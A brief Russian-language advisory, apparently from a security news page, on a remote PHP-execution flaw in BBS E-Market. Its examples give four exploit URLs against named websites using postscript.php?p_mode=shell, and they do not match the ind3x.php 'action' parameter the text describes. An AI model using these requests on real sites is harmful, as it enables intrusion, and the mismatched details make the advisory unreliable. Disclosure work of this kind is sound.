Программа: BBS E-Market

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «action» сценарием ind3x.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Примеры:

http://www.allena.co.kr/bemarket/postscript/postscript.php?p_mode=shell?

http://www.e-multishop.com/bemarket/postscript/postscript.php?p_mode=shell?

http://www.mesz.com/bemarket/postscript/postscript.php?p_mode=shell?

http://hapsung.com/bemarket/postscript/postscript.php?p_mode=shell?



Оставить мнение